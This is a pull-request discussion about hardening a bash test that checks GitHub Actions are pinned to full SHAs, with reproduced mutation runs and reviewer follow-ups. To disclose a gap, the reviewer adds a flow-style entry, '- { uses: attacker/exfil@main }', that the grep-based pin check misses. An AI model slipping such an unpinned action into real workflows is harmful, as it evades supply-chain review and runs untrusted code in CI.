test(release): fail if the action-pin check inspects nothing

[vsolano9]

Summary

tests/release/release-rehearsal.test.sh states that every uses: in every workflow pins a full 40-hex SHA, then enforces that over whatever grep hands it and never asks whether grep handed it anything. Break the extraction, leave every real pin in place, and it prints Release rehearsal contract passed. over zero lines.

This change:

• counts the uses: lines the extraction found and refuses below a floor of 20 (this tree has 55; a regex that only matches actions/checkout finds 19, and a regex that only matches - uses: finds 1)
• asserts the workflow glob matched at least one file before entering the loop (*.yml and *.yaml, nullglob)
• adds a fixture whose only uses: is a flow-style mapping, which the extractor does not read; that run has to fail, and the message has to name the extraction

The SHA assertion itself is unchanged.

Related Issue

Closes #407

Validation

• Tests added or updated
• Documentation updated if behavior changed (CHANGELOG only)
• Security impact considered (none; host-side greps)
• Trust boundary preserved (daemon remains the only privileged executor)
• CI passes

No Rust in the diff, so the workspace nextest gate does not apply.

Host bash is 3.2; these runs used Homebrew bash 5.3.15 via a symlink at /tmp/sysknife-407 because the checkout path contains a space.

Green, with the floor:

$ bash tests/release/release-rehearsal.test.sh; echo rc=$?
Release rehearsal contract passed.
rc=0

The new fixture test without the floor (production hunk reverted, fixture assertion left in place):

$ bash tests/release/release-rehearsal.test.sh; echo rc=$?
FAIL: pin check passed over a uses: spelling the extraction does not read
rc=1

Restored, rc=0 again.

M2 from the issue (neuter the extraction, leave every real pin in place):

$ bash tests/release/release-rehearsal.test.sh; echo rc=$?
FAIL: extracted 0 uses: line(s) under /tmp/sysknife-407/.github/workflows; need at least 20 (extraction is broken, not the workflows)
rc=1

M1 calibration (take the SHA off one action in docs.yml):

$ bash tests/release/release-rehearsal.test.sh; echo rc=$?
FAIL: docs.yml action is not pinned to a 40-hex SHA:       - uses: actions/checkout@main  # v7
rc=1

shellcheck --severity=warning tests/release/release-rehearsal.test.sh exits 0.

Notes for Reviewers

The floor is 20 on purpose, not a snapshot of 55. Adding a workflow cannot trip it. Extracting a subset can.

Taking this from the offer on #402.

[vladimirrott]

Reviewed at 31b9f2d616c77870af5fc287716b411fbe6f3de4.

The floor is set on the right thing. Twenty against a tree that has fifty-five means adding a workflow cannot trip it and extracting a subset can, and you said so in the comment rather than leaving the next reader to infer it from the number. Pulling the loop into assert_action_pins so the negative fixture drives the same function is what makes the proof worth having, and shopt -p nullglob captured and restored is a detail most people skip.

maintainer screen returns DO NOT EXECUTE for this diff, so everything below ran in a container against a clone of your head, with the network off.

Clean:

$ podman run --rm --network=none -v "$PWD:/repo:z" -v "$HOME/.cargo:/cargo:O" -v "$HOME/.rustup:/rustup:O" -w /repo -e HOME=/tmp -e CARGO_HOME=/cargo -e RUSTUP_HOME=/rustup -e CARGO_NET_OFFLINE=true -e PATH=/cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin localhost/sk-reh2:1 bash -c 'bash tests/release/release-rehearsal.test.sh; echo "rc=$?"'
Release rehearsal contract passed.
rc=0

Your M2, reproduced. The extraction regex replaced with ZZZ_NEVER_MATCHES, every real pin left in place, same podman invocation:

$ git diff --stat
 tests/release/release-rehearsal.test.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)
FAIL: extracted 0 uses: line(s) under /repo/.github/workflows; need at least 20 (extraction is broken, not the workflows)
rc=1

Your M1, the calibration:

$ sed -i '0,/uses: \([^@ ]*\)@[0-9a-f]\{40\}/s//uses: \1@main/' .github/workflows/docs.yml
$ grep -n 'uses:.*@main' .github/workflows/docs.yml
38:      - uses: actions/checkout@main  # v7
FAIL: docs.yml action is not pinned to a 40-hex SHA:       - uses: actions/checkout@main  # v7
rc=1

And the one this repo gets wrong most often, the fix reverted with the new test left in place. I deleted the five-line floor from assert_action_pins and kept your fixture:

$ git diff --stat
 tests/release/release-rehearsal.test.sh | 5 -----
 1 file changed, 5 deletions(-)
FAIL: pin check passed over a uses: spelling the extraction does not read
rc=1

Red with the fix out, green with it in. That is the whole bar and you cleared it. shellcheck --severity=warning tests/release/release-rehearsal.test.sh exits 0, and the CHANGELOG entry reads the way I would have written it.

Approving. Two things before it lands, neither of them a change to your code.

The branch is behind main

$ gh pr view 432 --repo lacs-project/sysknife --json mergeable,mergeStateStatus,headRefOid --jq '"mergeable=\(.mergeable) state=\(.mergeStateStatus) head=\(.headRefOid[0:8])"'
mergeable=MERGEABLE state=BEHIND head=31b9f2d6
$ git rev-list --count p432..main
4

Four commits, no conflict. main requires an up-to-date branch, and updating a fork branch is not something I can do from here. Merge main into your branch or rebase onto it, push, and the merge is armed: no production diff beyond what I verified, the mutation above re-run green-then-red at the new head, a clean board on ci and e2e both, and this approval still standing. If the rebase brings anything into .github/** or crates/** that your own commits do not touch, it goes back through a full read instead.

#435 touches the same file and adds a second EXIT trap

@armutlutost's #435 replaces the fixed /tmp path at line 38 with mktemp -d and its own trap 'rm -rf "$tmp_dir"' EXIT. Yours is at line 160. The two merge without a conflict:

$ git merge-tree --write-tree p432 p435
2d3ab157b24e79bf0710a86662c84677394ad431
$ git show 2d3ab157:tests/release/release-rehearsal.test.sh | grep -n 'trap\|mktemp'
38:tmp_dir="$(mktemp -d)"
39:trap 'rm -rf "$tmp_dir"' EXIT
160:pin_fixture="$(mktemp -d)"
161:trap 'rm -rf "$pin_fixture"' EXIT

Bash keeps one EXIT trap. The second replaces the first, so the merged file leaks $tmp_dir on every run and both boards stay green:

$ cat /tmp/trapdemo.sh
#!/usr/bin/env bash
set -euo pipefail
a="$(mktemp -d)"
trap 'rm -rf "$a"' EXIT
b="$(mktemp -d)"
trap 'rm -rf "$b"' EXIT
printf 'a=%s\nb=%s\n' "$a" "$b"
$ bash /tmp/trapdemo.sh > /tmp/trapout.txt; cat /tmp/trapout.txt; for d in $(sed 's/^[ab]=//' /tmp/trapout.txt); do [ -d "$d" ] && echo "SURVIVED: $d" || echo "removed:  $d"; done
a=/tmp/tmp.24yM4OPfvx
b=/tmp/tmp.vqjaMeTF35
SURVIVED: /tmp/tmp.24yM4OPfvx
removed:  /tmp/tmp.vqjaMeTF35

Whichever of you lands second folds both into one cleanup. Your branch has to move anyway, so if #435 is in main by the time you rebase, take that line with you. If it is not, change nothing and I will raise it on theirs. This is mine to sequence, not yours to worry about.

Your fixture found something, and it is not yours to fix

The comment on the fixture says "a uses: spelling the extraction does not read", and that spelling is legal YAML that GitHub Actions accepts. With your floor in place I added one flow-style entry to docs.yml, alongside the fifty-five real ones:

$ grep -n 'attacker/exfil' .github/workflows/docs.yml
39:      - { uses: attacker/exfil@main }
$ echo "uses: lines the extraction still sees: $(cat .github/workflows/*.yml | grep -cE '^[[:space:]]*(-[[:space:]]+)?uses:')"
uses: lines the extraction still sees: 55
Release rehearsal contract passed.
rc=0

Fifty-five clears the floor of twenty, so an unpinned action written that way passes the pin check. Same result against main's copy of the test, so this predates your branch and your change neither creates it nor widens it. The floor catches wholesale breakage, which is what #407 asked for; a single-line evasion needs a YAML parser rather than a grep. I have filed it separately and it is not a condition on this PR.

Nothing about this needs answering. Rebase, and I will take it from there.

One more of the same shape when #407 closes, and I will hold it for you. #433 is a ci-local run reporting PASS after a root-only assertion skipped itself, with nothing comparing what ran against what was meant to run. That is your floor argument moved one layer up. Say the word and it is yours.

Last thing, offered rather than asked. Somebody who reaches for shopt -p nullglob and a negative fixture on a supply-chain check is administering machines where that matters. SysKnife's read-only path is the cheap way in: sysknife doctor, or sysknife "which services failed to start", both of which plan and preview before touching anything. If you try it on a box you run, tell me where it was wrong.

[vladimirrott]

Filed the flow-style gap as #441, with the measurement from the review and the reason it is not a condition on this PR. It is blocked on yours landing, so your floor and your fixture are in the file before anyone replaces the grep with a parser.

[vladimirrott]

Approving at 3d3575a.

Your PR body claims three counts and I checked each against the tree rather than taking them:

total uses: lines = 55   (you said 55)
actions/checkout  = 19   (you said 19)
"- uses:" spelling = 1   (you said 1)

So the floor of 20 is chosen, not snapped to the current number, and it bites by exactly one line on the most likely degradation. I reproduced that:

extraction matches nothing        -> FAIL: extracted 0 uses: line(s) ... need at least 20
extraction matches only checkout  -> FAIL: extracted 19 uses: line(s) ... need at least 20

The check I care about most is whether the new test can fail. I reverted your production hunk, deleted the floor and left the fixture assertion in place:

FAIL: pin check passed over a uses: spelling the extraction does not read
rc=1

That is the right answer, and it is the thing most new guards on this tracker get wrong. Asserting on the message rather than on the exit code is what makes it hold, because a bare rc != 0 would have passed against a run that failed for some unrelated reason.

Unpinning one action still names the file and the line, and the restore is clean:

FAIL: docs.yml action is not pinned to a 40-hex SHA:       - uses: actions/checkout@main  # v7

shellcheck --severity=warning exits 0 here too.

Two things, neither blocking

The glob assertion has no negative twin. Delete this and the whole suite stays green:

((${#workflows[@]})) || {
    printf 'FAIL: no workflow files matched under %s\n' "$workflows_dir" >&2

Nothing exercises the empty-glob path, because the fixture directory always has missed.yml in it. It does fire when reached, and with a better message than the floor would give, so this is a missing test rather than a broken arm.

A workflow the extraction cannot read is reported as passing. Same class as #407 itself:

$ chmod 000 .github/workflows/docs.yml && bash tests/release/release-rehearsal.test.sh
grep: .github/workflows/docs.yml: Permission denied
Release rehearsal contract passed.
rc=0

The floor does not catch it, because the other files still total more than 20. The invariant says every uses: in every workflow, and that run verified one fewer workflow than it claimed.

One thing worth knowing, because the obvious cause is the wrong one: the || true you added to the grep is not what swallows it. I removed the || true and re-ran the same case, and it still reports success. The exit status of a process substitution is never checked, so the failure is invisible either way. [ -r "$workflow" ] || return 1 before the loop body is the smaller fix.

Say whether you want either in this PR or as a follow-up. I am happy to merge as it stands and open an issue for the second one, since it is a pre-existing gap your change narrows rather than widens.

What I changed

Only the CHANGELOG, and only because of something I did. I tagged and published v0.16.0 while this branch was open, so the section your entry was written against became a released one. Git merges it in cleanly, since the surrounding lines never moved, and nothing would have warned either of us that the published v0.16.0 notes had gained a fix that release does not contain. Moved to [Unreleased]; the [0.16.0] section is byte-identical to the tag.

I also merged main in, since nine pull requests landed here today. No conflicts.

Nothing left for you. I will merge once the board is green.

[vladimirrott]

Merged, and #407 closed with it.

Your body's three counts were right to the line, which is what let me trust the floor rather than re-derive it: 55 uses: lines, 19 of them checkout, 1 in the - uses: spelling. A floor of 20 against a real 55 means the likeliest degradation, a regex that only reaches checkout, lands at 19 and gets caught by one.

I ran five mutations rather than four, and recorded them in the receipt:

M1  unpin checkout in docs.yml        -> FAIL, names the file and the line
M2a extraction matches nothing        -> FAIL: extracted 0 ... need at least 20
M2b extraction matches only checkout  -> FAIL: extracted 19 ... need at least 20
M3  floor deleted, fixture kept       -> FAIL: pin check passed over a uses: spelling
M4  glob assertion deleted            -> still green

M3 is the one that matters and you got it right. Asserting on the message rather than the exit code is what makes it hold: a bare rc != 0 would have passed against a run that died for an unrelated reason, which is how most new guards on this tracker end up proving nothing.

M4 and the unreadable-workflow case are now #442, labelled easy. Neither is a regression you introduced; the second is a pre-existing hole your floor narrows. Yours if you want it, and it follows directly from this work. Say the word and I will hold it.

Two things you should know about how this one landed, both mine.

I tagged and published v0.16.0 while your branch was open, so the CHANGELOG section your entry was written against became a released one. Git merges the entry straight into it without a conflict, because the surrounding lines never moved, and the published v0.16.0 notes would have claimed a fix that release does not contain. I moved it to [Unreleased] and checked the [0.16.0] section is byte-identical to the tag.

And the merge gate could not prove this one in a container. Your test runs scripts/release_rehearsal.sh, whose preflight requires cargo, and the shell verify suite carries bash, python3 and git. The gate reported that as your test failing:

maintainer-merge: the test does not pass unmutated (rc=1)
    ERROR: required tool is missing: cargo

That is the fifth time that gate has failed on its own environment and phrased it as the contributor's fault, so it now recognises the shape. This merged on a receipt recording what I ran by hand, which the tool prints as asserted rather than observed, and that distinction is the honest one.

Nine merges here today and yours is the last. Thanks for a patch that did its own homework.